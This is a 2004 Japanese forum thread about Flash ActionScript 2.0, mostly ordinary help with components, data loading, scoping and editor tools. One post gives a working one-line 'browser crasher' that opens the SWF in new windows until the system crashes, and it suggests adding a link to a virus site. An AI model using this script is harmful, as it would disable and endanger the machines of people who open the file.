しようとおもえば可能なんじゃない?でも余りメリットは思いつかんけど。
現行である程度普及してて、あまり癖が無く記述しやすいOOなスクリプト言語ってJavascriptぐらいでしょ。
JavaやC++で記述できたとしても、あまりflashと馴染まないような気がするし・・・
アプリ作る事が前提ならそれもありかもしれないけどさ。
V2コンポーネントだけど1.0よりマシになったと思う
249 :
246 :04/07/17 10:40 ID:???
>>247 たしかにリンケージとかの仕組み自体が必要なのはわかる。ただわかりにくい。
それが2.0になって増した気がする。慣れの問題もあるかもしれんけど。
ムービー制御のコマンドセットからJavaScript風のスクリプト言語へなった過程
はいいとして、2.0への拡張のような「OOっぽいのにしました!」ってところが
とても場当たり的に感じる。言語をボトムアップ的に拡張されるととてもややこ
しくなるし、クラスを別ファイルにしか定義できないってあたりにマクロメディア
の苦悩というか
「なんかややこしくなってきちゃったから、
クラスは別ファイルでしか定義できないようにしようかね」
みたいな印象をうけるのだが....
FLASHになじむ言語ってのはよくわからんけど、ムービー制御の延長上にある言語体系
にOO風を加えるよりは、javaとか使ったほうがよっぽどいいだろ。ものづくりの道具には
それなりの一貫性がひつようかと。
>>248 具体的にどのあたり?
定義の仕方がってこと?
そんなこんなでECMAScriptはver3に突入するのだが
FLASHってオブジェクトごとにスクリプトが分散されるので以前作ったソースを 修正する時に構造を理解するだけで時間がかかったりしてちょっと鬱 特にクリップアクションは変数しか書いてないのでよく見落とす。
>>251 クリップにはすこぶるコードかかないようにしてる。
>>252 同じく。あと出来るだけinclude使ってソースはfla外部に出してる。
AS1.0ね。
>>249 >FLASHになじむ言語ってのはよくわからんけど、ムービー制御の延長上にある言語体系
>にOO風を加えるよりは、javaとか使ったほうがよっぽどいいだろ。ものづくりの道具には
>それなりの一貫性がひつようかと。
使ってみた限りではほとんど Java と同じように使えたよ。
拡張と言うよりはほとんど Java になってしまった雰囲気。
変数の型チェックもできるようになったし。型無し言語返上するつもりなのかな?
2.0 から使い始めた漏れとしては悪くないと思います。
ただ、変数宣言が必要ないところとかは問題あるかもね。
けど、これもコンパイル時のチェックでできる話だから
実装してもらいたいね。後は標準ライブラリをきちんと 2.0 対応
させて充実させて欲しいのココロ。
>>249 >>254 CMAScript自体、どんどんjava風になってるから、それに準拠したASもjava風になるだろね。
ちょっと聞きたいんですけどFLASHCREATER対策ってできないんでしょうか? AS関係はほぼ完璧に解析されるらしいのですが、正直丸見えになるのは気持ち良いものではないので困ってます。
>>256 swfファイルの仕様が公開されている以上解析されるのはどうしようもないだろね。
できる事があるとしたら、変数名や関数名をめちゃくちゃに変換して解読しにくくするぐらいじゃないか?
258 :
246 :04/07/17 14:27 ID:???
>>252 FLASHならではのワークフローとかコーディング規約なんかをじっくり
煮詰めて解説したサイトとか本とかあったらうれすい。
こんな場面では完全にスクリプトで制御したほうがいいよ、とか、
インターフェイスの画面遷移が多い場合はこう作れ!! とか、
こんなつくりかたすると保守が楽だし、再利用も可能だよ、とか
FLASHならではの視点中心に、必要ならOO的な概念をもちこむぐらいで
>>254 >2.0 から使い始めた漏れとしては悪くないと思います。
そうでつか。でもJAVAと同じように使えるっていうのは構文的にって意味でしょ?
1.0は型なしだったけどそれはそれでよかったよ。
オブジェクト嗜好をもちこむなら丸ごと持ちこないとただ構文が
まんどくさくなるだけじゃないかな。
言語の利便性と厳密性は完全にトレードオフな関係にあるわけだし、
2.0はそこらへんのバランスがどうかなと。うわべだけOOおっかけはなんか先が心配。
>>255 JavaをもとにかんたんいつかえるようにJavaScriptつくって、それをECMAScriptで
標準化してたらJavaにもどっちゃったって、なんだかなぁ〜
259 :
246 :04/07/17 14:34 ID:???
>>256 >>257 データベースの接続アカウントとかハードコーディングしたら、すごくまずいかね?
>>259 悪用される恐れはあるね。
まぁそもそもユーザー側で実行してる以上、やばい情報は渡さないのが基本だけど。
>JavaをもとにかんたんいつかえるようにJavaScriptつくって 馬鹿かお前
262 :
246 :04/07/17 15:06 ID:???
>>262 少なくとも漏れはそういう認識なわけだが...
ソース隠蔽は大きな問題だけど、パクって流用するにはけっこうスキルが要る。 それに、パクって商用のものを作ったとしても、それを逆に解析されればパクリがバレる可能性がある。 そんなワケでパクられても所詮個人レベルだから気にしていない。
ECMAScriptがデファクトスタンダードになってくれたら嬉しいのだが。 4thエディションあたりでいい加減枯れてしまうのが必要条件だな。
何にせよ超バギーなのを何とかしてもらいたい。 早くアップデート出ないかな。
禿同
エディターがクソなのもどうにかして欲しい。
2004は知らないけど、MXに関してはそこまで酷くは無いような気もするんだよなー。 けど、やっぱりメモ帳最強。
メモ帳はアンドゥが一回しかできないからやめといたほうがいいよ。 多機能エディタを自分専用にいじくって使うのもプログラマーの楽しみのひとつなんじゃない?
TeraPad一途です
FLASH本体から独立したASコンパイラがほしい。
禿同
コンポーネント作成に関してなんだけど、 クラスファイルの中の 初期化メソッドがちーとも呼び出されないのだけどなんでかしらん function init(Void):Void{ <--こいつ hogehoge.. } ヘルプにはクラス作成時に自動でよびだされるから、 そこでコンポーネント初期化しる!!ってあるけど.... あと、コンストラクタのなかを空にしとけって書いてあるけどなんで? クセのある仕様でつか?
274 :
273 :04/07/19 01:14 ID:YbSTXTNk
ぐぐったら解決しまつた。すまそ。
>>271 海外の何処かで見かけた気がする。
ただ、コンパイルした物をswfに埋め込むリンカが無いと意味無いだろうな・・・
276 :
273 :04/07/19 21:59 ID:YbSTXTNk
>>275 ヘェ〜あるんだね。
ちょっと探してみまつ。情報さんくす。
277 :
必死男 :04/07/20 01:08 ID:6MEj5LEw
どうしてもできないところがあって、皆様のお知恵をお借りしたい。 [内容] FlashMx2004ヘルプ内の「DataSet コンポーネントを使用してアプリケーションを作成するには :」 の手順どおりにサンプルを作ってみましたが、プレビューすると、idしか表示されないのです。 つまり、ほかのカラムが表示されない。カラム名だけは表示されているという奇妙な状況です。 これはどうしてこのようになっているのでしょうか?何か違ってますかね・・・ [当方環境] FlashMX2004(ver7.01)、WinXPpro かれこれ何時間も???と悩んでしまっています。 諸先輩方のヘルプをお待ちしてます。マジで。
278 :
必死男 :04/07/20 01:45 ID:6MEj5LEw
書きもれ。 FlashはPro版なのと、どうやらid以外はString型なのですが、 String型がどうも表示されないみたいです。ためしにNumber型の 値を定義したら、きちんと表示されました。 一応ソースを書いておくと、 rootの1フレーム目に、 var recData = [{id:0, firstName:"Mick", lastName:"Jones"}, {id:1, firstName:"Joe", lastName:"Strummer"}, {id:2, firstName:"Paul", lastName:"Simonon"}]; userData.items = recData; となっています。 userDataはDatasetコンポーネントで、userGridというDataGridコンポもあり、 両者をバインドしてるはず(苦笑)。もしかすると、String型のバインド指定が 必要なのでしょうか?
>>278 スキーマの設定をしてないんじゃないのかな。コンポーネントインスペクタの
スキーマタブで
id:Number
firstName:String
lastName:String
の3つのスキーマを追加すれば良いと思いますよ
280 :
275 :04/07/20 19:45 ID:ZhlPg1gG
コンパイラとリンカを分ける純粋なプログラミング技法なら、プログラマは喜ぶだろうな
282 :
273 :04/07/20 21:08 ID:+2drZBRY
>>275 そうみたい。
しかも、.NET FRAMEWORKが必要なようで..... 128MBもあるし..
でも、試してみました....
コマンドラインといいながら結局本体の出力窓使うのはちっよとなぁ〜
さらに漏れの環境ではうまく動かずswfを吐くことはできませんでした.onz
せめて構文チェックぐらいはエディタだけで済ましたいところ
283 :
273 :04/07/20 21:48 ID:+2drZBRY
284 :
必死男 :04/07/20 22:58 ID:6MEj5LEw
>279様 ありがとうございます。ご指摘のとおりにDataSetの スキーマにカラムを追加したら表示されました。 でも、ヘルプには載ってない(笑)
285 :
275 :04/07/21 03:21 ID:U6sB5kns
>>282 構文チェックなら、ASではなく、javascriptの物を探すと良いかも。
AS2.0の元である新しいECMAScriptに対応したものがあるかどうかは微妙だけど。
286 :
flash 2006 :04/07/21 20:10 ID:k7frcnPG
loadMovieでloadVariablesと同じ様な動作をさせたいのですが、出来なくて困っています。スクリプトで例を書くと、 onClipEvent (load) { this.loadVariables("test.cgi","POST"); } onClipEvent (data) { textBox = dataOUT; } ↓上記スクリプトを下記スクリプトに変更 onClipEvent (load) { this.loadMovie("test.cgi","POST"); } onClipEvent (data) { textBox = dataOUT; } test.cgiの内容 #!/usr/bin/perl print "Content-type: text/plain\n\n"; print "dataOUT=aaaaaa"; exit; ----------------------------------------- loadVariablesは使用不可で、cgiの内容の変更も不可です。loadMovieでなくても cgiにアクセス(fla) ↓ cgiが変数を吐き出す(cgi) ↓ cgiが吐き出した変数を読み込む(fla) 上記のような動作が出来れば構いません。私が制作している環境は WINXP IE6Flash MX(flashのVer)flash5(パブリッシュ) どなたかよろしくお願いします。
なんでloadVariables使えないのか分からないけど、 LoadVarsオブジェクト使うってのはどうよ?
288 :
286 :04/07/21 23:50 ID:7j62T1hD
>>287 >LoadVarsオブジェクト使うってのはどうよ?
出来ればflash5で使用できる関数のみにしたいと思っています。
注文ばかりですいませんm(_ _)m
>>288 flash5パブリッシュって、ちゃんと書いてあったなスマネ。
そしておれには思いつかね。またスマネ。
290 :
275 :04/07/22 13:49 ID:7KB2cOaf
loadVariables使用不可じゃ無理だろうね。 cgi側でかなり特殊な細工してやれば、不可能とまでは言わないけどcgiの細工も不可なら 無理ですな。
XMLオブジェクトは使っていいのならば可能だね。 以下のようにすればloadVariablesの代わりになるよ。 (onDataはFLA5だと保証されてないけど問題無いと思われ) ---------------------------------------------------------- var myXML = new XML(); myXML.targetMC = this;//変数を格納するMC myXML.onData = function(src){ var vars = src.split("&"); for(var i in vars){ var tmp = vars[i].split("=",2); this.targetMC[tmp[0]] = tmp[1]; } } myXML.load("./test.cgi"); ----------------------------------------------------------
あ、XMLオブジェクトがあったか・・・あれflash5から有ったの忘れてた。orz
293 :
286 :04/07/22 17:30 ID:94Ggb63J
みなさんありがとうございます。 早速試してみます
ちょっと変な現象で困ってます。 配列で hoge[08] って書くとエラーがでます。 ちなみに、 hoge[01] hoge[02]など [08]以外は大丈夫です。 環境はXP flashMX2004 pro 漏れだけかな?
00〜07は8進数なのでは?
フラクリについて。 FlashCreator体験版でやった限り、読みこんだswfのAS2.0のスクリプトは 一切再現してくれなかった。方法はあるのどすか?
298 :
Now_loading...774KB :04/08/01 14:05 ID:TJ89KRqn
(初心者質問に記述したのですが、レスがいただけなかったのでマルチポスト 【やりたい事】グラフを作成する 【 質問内容 】動的に(DBからの値によって)グラフを作成することは可能なのでしょうか? ex : db に" a , 24 "という値が存在する場合, a というヘッダ+ 棒グラフ 後に検索した時に" a , 24 ", " b , 20 " という値が存在した場合に 最初のa の棒グラフの横にb のグラフも表示される というようにいわばエクセルに出力する行数を変化させていくようなイメージです。 こんなことは可能なのでしょうか? 【 使用環境 】mx 2004 pro + windows xp
可能
>>298 もうちっとわかりやすく説明してもらえないとにんともかんとも・・・
DBから受け取った値を元にグラフを描画する、ということなら可能。
とりあえず
MovieClip.lineTo
MovieClip.beginFill
MovieClip.createEmptyMovieClip
MovieClip.endFill
MovieClip.lineStyle
MovieClip.moveTo
あたりを調べてみれ。
301 :
298 :04/08/01 15:31 ID:TJ89KRqn
グラフというよりも、ガントチャートを作成したいのです。
横軸が時間、縦軸が製作対象物となります。
製作対象物は製作が決まればどんどん増えていくので、
そのような場合、オブジェクトをどんどんアクションスクリプトで
追加描画することが可能なのかが疑問となっております。
>>299 , 300 さん感謝。
それを使えばできるような気もしました。
加えて、Flash でエンタープライズシステムを作成するというのは
今はよくある話なのでしょうか?
302 :
300 :04/08/01 15:58 ID:6Ig8L9fQ
303 :
298 :04/08/01 16:30 ID:TJ89KRqn
>>302 どもども。
それは先日資料請求してみました。(まだ届いておりません
データのIN がどうなっているのか疑問なところです。
作るのは不可能ではないのはわかりましたが、動的に
(いわば、ガントチャートの行数の変化)描画することができ
かつ、ガントチャート内にさまざまなリンクがはれるかどうか?ですね。
今そのサイトを見直してみると、トライアル版があるようなのでDL してみます。
304 :
300 :04/08/01 22:40 ID:6Ig8L9fQ
305 :
298 :04/08/01 23:25 ID:TJ89KRqn
ム板への出張バレてるんですね。w
IDが出ていなくともわかるんですか、ふむふむ。
j2ee 鯖関連だったのであちらへの質問が正しいかと思い出張してました。
事例紹介うれしいです!
これまたすっごいシステムですね。今まで見た中で一番すごいです。
確かに感動です!
ColdFusion+Remoting+MySQL となぜわかったのでしょうか?
(時間が遅くなりそうなので調べる前に質問してしまって申し訳ありませんが。。。
>>300 さんが普段開発されるシステムの組み合わせも教えていただけませんでしょうか?
306 :
300 :04/08/02 00:04 ID:M7exX86y
>>305 CFとMySQLはサイト内のシステム要件とかに書いてありますよん。
Remotingは最初っからCFにバンドルされてるのでそれを使ってるって感じです。
当方はJRun4でDB+Java+Remoting+swfのテストをやったことあるだけで、
実業務のシステム開発までは残念ながらやった事ないっす。
>>304 でポンっと事例を提示できたのは、
そのテストの最中に色々調べた経験があるからです。
てなわけでこれ以上に何か質問/突っ込みがあったら他の人にパスw
307 :
298 :04/08/02 00:27 ID:4YOsZUpV
確かにありました。 > ※PodPop/cwのご利用には、以下の環境が必要となります。 > Macromedia ColdFusion MX、Macromedia Flash Communication Server、MySQL 面白そうな構成ですね。JRun を触ってみたいです。 とりあえずの私の構成イメージは Oracle + weblogic + remoting + flash といったところです。 データのIn/Out とflash のガントチャート描画がネックですかね。 実現できたらいいなぁ。 サーバー側の情報量の少なさったらないですもんね。 ぜひとも開発して私が情報提供できる立場になりたいです。 たくさんの情報提供ありがとうございました。
>>282 アセンブラ(というかASVMのバイトコード?)は発見。
既存のswfのスクリプト部分を逆アセンブルして書き出し。
それを変更すると元のswf自体を書き換えてくれるリンク機能付き。
ついでに無駄なコードは最適化してくれるようだ。AS2.0(のバイトコード)対応なんで、
いろいろ面白い事できそう。
this.visible = false; getURL( "javascript:document.write('ぬるぽ')");
>>302 >「Flash ガントチャート」でぐぐったら
200万かぁ〜
おれも「横軸が時間、縦軸が対象物」なの作った事あるけど、
プロジェクトファイル公開したら買う人いるかね。100万位で。
ちなみに描画するデータは、Flash側が起点の日付と期間、
ID等を送信してリクエスト(XML.Loadだったっけ?)。鯖側が
XMLを吐き出す仕様。横軸の移動はリクエストを出し直し、縦軸は
マスクしてスクロール。行のクリックで所定URLへの移動可能。
表示スパンは月/週/日で切り替え可能。週と日の表示時は横軸
の時間に対応したポイントと長さの指示を行うようになってる。
どうよ?
311 :
Now_loading...774KB :04/08/07 12:11 ID:LLbZHkS/
チャートの描画方法が気になる。 全部LineTo で書いてあったりするのかな?
DBで任意のサムネイルを300個程度呼び出してhoge_mcにテーブル状にはめこむ FLASHをつくっているのですがloadingが上手く出来ません。 原因は300個の画像をまとめて呼び込んだあと10フレーム程進めて(時間をおいて) 画像が含まれているTABLE_MCのサイズを取得しても正確な容量が取得できないから ですが対策方法わかる人いますか? ブロードバンドなら問題ないけどナロー(ダイアルアップ)はサイズが取得できません 100フレームぐらいあとにサイズを取得すれば正確に取得できそうですが そうすると今度はブロードバンドの人が待たされてしまいます
313 :
312 :04/08/08 23:07 ID:vMA/OvaH
スレ違いっぽいのですがこんな変態的なスクリプトは他のスレでは 経験なさそうなのであえてこのスレで質問しました。 wim2000 MXです
ondataでサイズを確認してみたらどうだろう。 少なくとも実機でイベントを認識できるタイミングでの処理になると思う。
>>312 300個同時に読み込まずにすればいい。
>>314 ありがとうございます。
hoge.onData=function(){
trace("complete")
}
撃沈しました。
>>315 300個をループで順次呼び出す以外ですか?
どんな感じでしょう?ニュアンスだけでも助かりますので教えてください。
現状はhoge_mcに空のMCを作ってその中にサムネイルを入れて300回廻してます。
その後と10フレーム程度時間を置いてhoge_mc.getBytesTotal()で取得しています
hoge_mcのサイズ取得をが出来ないとなると300個のサムネイル一個一個でondataか
getBytestotal()ってことでしょうか?
316ですが自己解決しました
>>317 面倒でなければどのように解決したかも記載してくれると嬉しいかも。
質問に対する回答をしてくれた人たちに御礼も兼ねてね。
10フレーム後に1回だけ呼び出してた hoge_mc.getBytesTotal()を エンターフレームで回しただけです。 負担が増えるので使いたくなかったけどエラー出すよりマシなので ちゅーか近所の漫画喫茶でナローの確認してた。 光でナロー回線を再現するいい方ってありませんか?
ムービープレビューで擬似的な回線速度を指定できるよ
>>320 DB連携でしかも外部データー読み出しなのでローカルでプレビューできないんです。
MX2004ならできるのでしょうか?
>>321 ナローな環境の場所に自分専用串でも置けば?
・・・そういえば帯域幅制限できる串無かったっけ?
ASでグラフとかできそうなのはわかりましたが、 ASのみでどこまでFLASHの表現ができるものなんでしょうか?(アニメとかゲームとか)
325 :
323 :04/08/16 01:11 ID:lL7vCBkz
>>324 そこはただの質問回答スレですね。
>>1 に「コアな技術交換&雑談にもご利用下さい」と書いてあるので
こっちに書き込ませていただきました。
一方的な質問と雑談で話題をふるのは違うぞ。
>>323 アニメ → 根気と描画メゾット使えば幾らでも
ttp://www.actionscript.cl/ ここの、8、12、14なのですが、
どうやってこんな変形をさせているのでしょうか?
プロパティを変更するだけでは、この変形できないですよね。
平行四辺形にモーションで変形させたものを
2回通して、読み込んでいるようにも見えたのですが、
8を見ると、そのまま変形できるようにも思えます。
どなたかヒントだけでも。
らいんとかーぶ
>>329 14はMCの中にMCを入れてやれば多分出来る
>>329 簡単にやるなら1から360フレームまで
ぐるっと変形でシェイプさせる
その角度情報をgotoAndPlayで逐一飛ばす
ってぐらいしか思いつかないorz
>>333 こんなの解析しなくてもわかるよ。
入れ子にしたMCで平行四辺形を作れるようにして、中に三角のテクスチャー貼ってるだけ。
あとはパラメータを3点から逆算して求めるだけ。なんちゃってポリゴンの完成。
335 :
Now_loading...774KB :04/08/19 23:13 ID:nAetxoPC
336 :
Now_loading...774KB :04/08/19 23:18 ID:2GsQzJZf
//コンストラクタ function check(){ this.Mc = new Array(5); } //********************** check.prototype.Mc= 0; //********************** check.prototype.set = function(){ trace( "set" ); for( var i = 0; i < 5; i++ ){ this.Mc[i] = createEmptyMovieClip( "mc" + i , i ); trace( this.Mc[ i ] ); } } //********************* check.prototype.get = function(){ trace( "get" ); for( var i = 0; i < 5; i++ ){ trace( this.Mc[ i ] ); } } a = new check(); a.set(); a.get(); ID = setInterval( a.get, 1000 ); インターバルを使って中身を見てみるとundefinedになってしまうんですけど これはどうしてでしょうか?
オブジェクトがどこにあるのかを考えよう。
>>338 レスありがとうございます
check.prototype.Mcを_global.Mcにしてやったらうまくいったんですけど、
今いちわかりません。
this.Mcはクラスの中で宣言した変数を見てるって考えてたので
getを使えば同じ変数を見てくれると思ってたのですが違うって事でしょうか?
実際に見れてなかったので違うって事だと思うのですが
どうしてかいまいち理解できません。
もし良ければ教えてもらえないでしょうか?お願いします。
>>339 いや、クラスの定義自体は間違ってないよ。setIntervalの使い方が間違ってるだけ。
俺も昔はまったけど、メソッドを呼び出す場合は
ID = setInterval( a, "get", 1000 );
と記述しなければならない。ヘルプをしっかり読めば書いてあるんだなこれが。
function check(){ this.Mc = new Array(5); } //********************** check.prototype.Mc= 0; //********************** check.prototype.set = function(){ trace( "set" ); for( var i = 0; i < 5; i++ ){ this.Mc[i] = createEmptyMovieClip( "mc" + i , i ); trace( this.Mc[ i ] ); } } //********************* check.prototype.get = function(){ trace( "get" ); for( var i = 0; i < 5; i++ ){ trace( this.Mc[ i ] ); } } a = new check(); a.set(); a.get(); ID = setInterval(function () {a.get()}, 1000); 理解できないのは基本がわかってないからです。自分で考えましょう
>>340 >>341 ありがとうございます
インターバルの設定がおかしかったんですね…
勉強になりました。
これからはもっとヘルプを読むようにしていきます。
>>340 まあ、結構はまるよね。
traceしたら気づくけど。
お勧めはしないけど
functionの中に
this = _root;
とか書いても動きます。
345 :
335 :04/08/21 01:19 ID:8Z9HsFoW
346 :
335 :04/08/21 14:59 ID:8Z9HsFoW
レイヤーとムービークリップをdup やattach するときの深度って関係ないでしょうか? 現在自分でも上記グラフを挑戦しておりまして、 _root ムービークリップ上のテキストエリアで値を入力、 その後createEmptyMovieClip でその入力欄の上に透けた背景を作成、 その上にグラフを描画する。というのを考えているのですが、 最前面に透けた背景がでてきてくれません。 透けた背景の前に数値入力欄や描画ボタンがでてきてしまいます。 どうすれば矩形のスクリーンを最前面に配置できるのでしょうか?
347 :
335 :04/08/21 15:14 ID:8Z9HsFoW
追記。 レイヤー2 レイヤー1 画面上でこのように表示されているとします。つまりレイヤー2が上。 で、レイヤー1でcreateEmptyMovieClip("hoge_mc", 1000); レイヤー2でcreateEmptyMovieClip("fuga_mc", 999); 各レイヤーにはlayer2_mc, layer1_mc があるとします。 これら4つのmovieClip の重なり順序はどうなるのでしょうか?
>>347 レイヤーはオーサリング時の機能。
出力時には全てタイムラインごとにdepthで管理されるよ
そのASならば
hoge_mc・・・1000
fuga_mc・・・999
layer2_mc・・・-1
layer1_mc・・・-2
って感じに重なると思う
349 :
335 :04/08/21 21:27 ID:8Z9HsFoW
>>348 レス感謝.
なるほど。
タイムラインごとに深度がある、と。
ちょっと考えてみます。(微妙に納得できていない。。。
> layer2_mc・・・-1
> layer1_mc・・・-2
とありますが, これは便宜上つけた数字ですか?
実際にそのような深度が割り当てられているのでしょうか?
あと、getNextHighestDepth()で最前面にするための深度を取得してみたのですが、
配置した覚えのないようなかなり大きな数値が戻されました。
これはいったいどういうことなのでしょうか?
デフォルトでなにか持っているということなんでしょうかね。
スクリプトで配置されたのではないオブジェクト (まあ、要するにステージ上に普通に配置したオブジェクト)には 深度-16383から純に深度が割り当てられます。 なお、この深度に対してはremoveMovieClipはできません。
351 :
335 :04/08/22 00:11 ID:n/99Dq4p
では、348 の-1, -2 の深度は便宜上のものであり、 実際はlayer2_mcとlayer1_mc しかない場合、それぞれ layer2_mc・・・-16382 layer1_mc・・・-16383 と割り当てられているということでしょうか?
352 :
350 :04/08/22 01:17 ID:5eJc8WqO
一般的にそう考えていいでしょう。 ただし、必ず連番になるわけでもなく -16383 -16381 -16379 と、一つとばしで使われたりします。 まあtraceしたらすぐわかるので試してみたら?
353 :
335 :04/08/22 01:43 ID:n/99Dq4p
なるほど、たしかにそういった値が使われていました。 私の場合は連番になってました。 ふーむ、かしこくなりました。w
ローカルで実行しても効きます。JS切っても無駄。 この1行のスクリプトをメインタイムラインのキーフレームに張るだけ.初心者でも簡単. onEnterFrame=function(){getURL(_url,"_blank");} しくみは、毎フレームごとにこのflash自身をIEで開かせる て増殖したやつもまた毎フレームごとに増殖 するとどうだろう。瞬く間に鼠算式にflashが開き 「ok.ブラクラゲット」っとなるわけだ。 こちらで実験したところ数秒で落ちました。 さらに、このスクリプト冒頭にgetURL("ウィルスサイトのURL","_blank");を張ればこれ,最強 (ウィルスは自分で探してちょ)
このスレでブラクラ作れない香具師なんていないよ。
urlにmpgとかwmvとかmailtoとかいれるとさらにGOOD!
se.swfとre.swfを作って se.swfの中にはmcがいくつかありそのmcに外部jpegをロードさせてます ロードが完了したらボタンの設定をしてます ロード、mcのボタンの設定等はクラスの中で行ってます ボタンの設定の際 ] this.send_lc = new LocalConnection(); //this.send_lc.send( "Channel", "Func", "ok" ); for( var i = 0; i < Max; i++ ) { //mcのボタンの設定 tis.mc[ i ].onPress = function(){ this.send_lc.send( "Channel", "Func", this.id ); } this.mc[ i ].onRelease = function(){ this.send_lc.send( "Channel", "Func", this.id ); } } の様に書いてます。
>>357 の続きです
またse.swfにはre.swfからの値を受け取るための受信用のLocalConnection
も作って、
re.swfにはse.swfからの受信用とse.swfへの送信用のLcalConnectionを
作って実行さてます。
実行してみるとmcをクリックしても値が変数を渡す事ができてないのですが、
ボタンの設定前に送信をしてみると値はうまく渡されます。
(上のスクリプトでコメントアウトしてる位置に記入すると)
mcが反応してないだけかと思ってtraceをして確かめた所そんな事はない
なかったので何が原因かわかりません。
またthis.lc_sendをtraceした所object,sendをtraceしたらfunctionとなった
のでちゃんと作られてると思うのですが…
>>357 //mcのボタンの設定
tis.mc[ i ].onPress = function(){
↑
記入ミスしてました。正しくは
this.mc[ i ].onPress = function(){
です。
すみませんです
>>357 357です
なぜかre.swfの方からの送信はうまく言ってます
もしかしてクラスの中でLocalConnectionの使い方が悪いのでしょうか?
だけどそれだと受信が出来てる事がおかしい様な…
tis.mc[ i ].onPress(Release) の中でthisと言った場合はmc[i]だからそこにはsend_lcが存在してない。
>>361 ありがとうございます
指摘通りでした。自分でthis.idって使ってるのに気づかないとは・・・。
とりあえずthis.lc_sendをクラスのメンバじゃなくして実行した所うまくいきました。
ここで聞く事じゃないかもしれませんがもしければlc.sendをクラスのメンバと
したままonPressの中に書くやり方を教えてもらえないでしょうか?
traceでパスを調べた所_parentでもundefinedが返ってきたので
どうパス指定していいのかわかりません。
for の中で this.mc[ i ].send_lc = this.send_lc とか this.mc[ i ].parent = this; とかしておきなさい
>>363 ありがとうございます。
うまく動作しました
swfファイルを解析されて swf内でCGIにアクセスしている部分と、 そのCGIに渡しているパラメータを見られてしまい、 ランキングデータを操作されてしまったのですが、 この不正なアクセスを防御するための、うまい作りはありませんでしょうか。 防御手段としてCGI側で ・POSTのみを許可 ・リファラーをチェックし、 空文字でなく自分のドメイン以外のURLからアクセスされた場合はエラーにする (FlashからCGIにアクセスするとREFERERが空になってしまうため、 空文字の場合は許可せざるを得ない状況に) といったことを考えました。 内容が簡単なシューティングゲームやパズルゲームだったりするもので 気軽に登録できる、といったことにしたいので パスワード認証などの処理は省きたいと考えています。 何かいい知恵がありましたらご教授ください。
>>365 完璧な防御方法は無いです。
・FLASH内で処理を分散させて解読しにくくする
・送信するデータは暗号化する
・MD5ハッシュ等で偽装防止する
とか
わかる人に解析されたらアウトだけどねorz
まくろめでぃあが無料でプロテクト強化のパッチを配布してくれるとうれしい
>>357 GACとマルチな上にむこうで自己解決宣言とはな(w
Flash 7.2 アップデータキタ━━━━━━(゚∀゚)━━━━━━ !!!!! アップデータに含まれている主な項目: ・アプリケーションの起動時間を短縮 ・コンパイル速度をおよそ 2 倍にスピードアップ ・400 以上のコードサンプルの追加 ・コンポーネント使用法に関する追加ドキュメンテーション ・100 ヶ所以上のバグフィックス詳細については、リリースノート を参照してください。 やっと来た。
日本語フォントのバグ治ってねええー 超萎え
イラレの読み込みのバグもやはり直ってない。
進行中のプロジェクトが有るんだけどバージョンアップしてもいいのかなぁ
373 :
Now_loading...774KB :04/08/28 01:18 ID:4D0Q2eGg
HTMLのスクロールとFlashのスクロールを連動させることって可能だと思います? HTMLで左にヘッダを表示してFlashで右フレームにデータ部を表示したとき 上下スクロールさせてもヘッダと項目がズレない。ってな。
特定のブラウザなら可能かも知れないけど そうするメリットがわからん。
いつから質問スレになったんだここは。 やさしすぎるのも罪だぞ。
>>334 の言ってる事がよくわからない・・・
だれかサンプル作ってくれませんか?
Extension Managerが起動しなくなったんだけど。。
>>370 macromediaは日本人と、狭いモニタ使ってるやつのことなんか考えてないんですよ。
379 :
Now_loading...774KB :04/09/11 18:05:58 ID:yN3R2VNn
flashそのものではなく たぶんmacromediaを共同で特殊なプレイヤーを使っているんじゃないかな 右クリックメニューとか確かアイコンは無理じゃなかったっけ
SONYにもFLASH使ったアプリケーションあったなぁ・・・
多分
>>380 氏の通りだと思われ
何かデスクトップスレにも来てたな、それ。 フォーラムにまったく何も無いところが受けるんだけどw
as2unit を使ってみた。
とりあえず動作したが、個人で設定したclassパスで使用すると
Testクラスが見つからないとエラーがでる。
多分 as2unit で使用するクラスパスに日本語がまじってたり空白が
あったりするとエラーになる予感。
知っている人がいたらおしえて。
as2unit
ttp://www.as2unit.org/index.html
>>384 なんか面白そうですね。RIAのフレームワークらしいけどこれからこういうの増えそうな予感。
でもサンプル画面とか無いんですかね、文字ばっかでいまいち伝わらん。
FlexもRIAソリューションだけどBleezeと同じで開発部隊の我々には不要かな。
■「as2unit」の概要
「as2unit」 とは 「ActionScript 2」 用に作成された「Testing Work Frame」です。
「as2unit」 の 便利なところは「自分で作成したクラス」をテストできる事です。
■例
クラスを作った後、そのクラスの性能を向上させるため
(プログラムの読みやすさとかバグフィックスとか)に
クラス内部を変更する事があると思います。(これをリファクタリングと言う)
クラスを変更したすると「そのクラスに依存していたプログラム」が
正常動作するか気になるでしょう?
その時、「as2unit」を使用して過去に作成しておいたテストを
「変更したクラス」で再テストしてやれば過去に作成したテストとかも
まとめてやれて「変更したクラス」の信頼性もあがるでしょ。
なので「as2unit」にはクラスをテストするためのメソッドがあるのです。
例えば、「assertEquals()」 (クラスから返された値が予想した値と違う場合エラー)
まー大体はこんなトコ。
「テストファースト」とか「エキストリームプログラミング」とか
の説明をするとわけがわからなくから「as2unit」ってリファクタリング時に
役に立つんだなと最初は思えばいいんじゃないかと...
いまのところ一番役にたつ書籍は下記のCHAPTER 07 リファクタリング ですね。
ttp://www.flashoop.jp/book.html 書くのけっこうつかれたw OTL
>>387 それいいな、なんか問題はないのか?
俺Peggy使ってるんだけどさ。
>>389 >なんか問題はないのか?
気がついた事を列挙すると
1 ファイルパスの扱いがおかしい?
左ペインのProjectタブでプロジェクトの新規作成をすると
「File name contains illegal character」
のエラーがでる。プロジェクトネームは「ppp」もちろん半角英数。
その後、このProject にファイルを追加すると落ちる。
どうやらProjectファイルを作成する絶対パスに
日本語が含まれるとエラーになるらしい。
今、なんとなくCドライブ直下にProjectを作成したら
エラーが発生しなかった。
2 起動がおそい
3 メニューバーの Flashメニューに「Test Movie」とか「COMPILE」とか
あるけど使い方がわからん。
4 このエディターを使用して何か作成した事がないのでまだまだ未知数。
とりあえずこんな感じ、でも多言語が使えるように作ってるみたいだし期待値は高いと思う。
>>391 なんかフォルダに独自アイコンを設定してると
それ以下のファイルが全部読まれないらしいな。
ところでSE|PY、Flash独特のいやーなオートインデントしてくれるんだが
これなんとかならないのか?
インデントだけにしたい。
勝手にコメントを次の行にするなと
